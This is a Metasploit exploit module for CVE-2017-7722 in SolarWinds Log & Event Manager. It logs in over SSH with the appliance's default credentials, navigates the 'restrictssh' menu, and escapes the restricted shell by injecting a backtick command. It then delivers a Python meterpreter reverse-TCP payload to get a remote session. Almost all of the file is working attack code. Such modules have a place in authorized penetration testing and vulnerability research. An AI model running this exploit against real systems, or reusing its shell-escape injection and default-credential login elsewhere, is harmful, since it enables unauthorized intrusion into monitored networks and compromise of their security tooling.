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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::SSH
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'SolarWinds LEM Default SSH Password Remote Code Execution',
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        'Description' => %q{
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          This module exploits the default credentials of SolarWinds LEM. A menu system is encountered when the SSH
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          service is accessed with the default username and password which is "cmc" and "password". By exploiting a
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          vulnerability that exist on the menuing script, an attacker can escape from restricted shell.
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          This module was tested against SolarWinds LEM v6.3.1.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Mehmet Ince <[email protected]>',  # discovery & msf module
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        ],
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        'References' => [
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          ['CVE', '2017-7722'],
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          ['URL', 'http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/']
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        ],
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        'DefaultOptions' => {
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          'Payload' => 'python/meterpreter/reverse_tcp'
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        },
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        'Platform' => ['python'],
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        'Arch' => ARCH_PYTHON,
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        'Targets' => [ ['Automatic', {}] ],
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        'Privileged' => false,
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        'DisclosureDate' => '2017-03-17',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => []
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(32022),
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        OptString.new('USERNAME', [ true, 'The username for authentication', 'cmc' ]),
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        OptString.new('PASSWORD', [ true, 'The password for authentication', 'password' ]),
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      ]
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    )
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    register_advanced_options(
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      [
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        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
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        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
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      ]
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    )
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  end
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  def rhost
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    datastore['RHOST']
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  end
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  def rport
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    datastore['RPORT']
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  end
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  def username
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    datastore['USERNAME']
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  end
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  def password
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    datastore['PASSWORD']
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  end
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  def exploit
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    opts = ssh_client_defaults.merge({
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      auth_methods: ['keyboard-interactive'],
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      port: rport,
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      password: password
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    })
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    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
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    print_status("#{rhost}:#{rport} - Attempting to login...")
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    begin
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      ssh = nil
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      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
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        ssh = Net::SSH.start(rhost, username, opts)
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      end
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    rescue Rex::ConnectionError
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      return
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    rescue Net::SSH::Disconnect, ::EOFError
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      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
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      return
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    rescue ::Timeout::Error
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      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
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      return
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    rescue Net::SSH::AuthenticationFailed
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      print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
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    rescue Net::SSH::Exception => e
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      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
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      return
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    end
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    return unless ssh
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    print_good('SSH connection is established.')
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    payload_executed = false
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    ssh.open_channel do |channel|
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      print_status('Requesting pty... We need it in order to interact with menuing system.')
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      channel.request_pty do |ch, pty_success|
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        raise 'Could not request pty!' unless pty_success
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        print_good('Pty successfully obtained.')
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        print_status('Requesting a shell.')
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        ch.send_channel_request('shell') do |_ch, shell_success|
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          raise 'Could not open shell!' unless shell_success
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          print_good('Remote shell successfully obtained.')
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        end
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      end
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      channel.on_data do |_ch, data|
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        if data.include? 'cmc '
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          print_good('Step 1 is done. Managed to access terminal menu.')
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          channel.send_data("service\n")
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        end
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        if data.include? 'service '
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          print_good("Step 2 is done. Managed to select 'service' sub menu.")
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          channel.send_data("restrictssh\n")
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        end
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        if data.include? 'Press <enter> to configure restriction on the SSH service to the Manager Appliance'
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          print_good("Step 3 is done. Managed to start 'restrictssh' function.")
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          channel.send_data("*#`bash>&2`\n")
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        end
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        if data.include? 'Are the hosts'
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          print_good('Step 4 is done. We are going to try escape from jail shell.')
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          channel.send_data("Y\n")
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        end
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        if data.include?('/usr/local/contego') && (payload_executed == false)
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          print_good('Sweet..! Escaped from jail.')
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          print_status('Delivering payload...')
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          channel.send_data("python -c \"#{payload.encoded}\"\n")
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          payload_executed = true
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        end
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      end
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    end
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    begin
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      ssh.loop unless session_created?
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    rescue Errno::EBADF => e
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      elog(e)
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    end
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  end
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end
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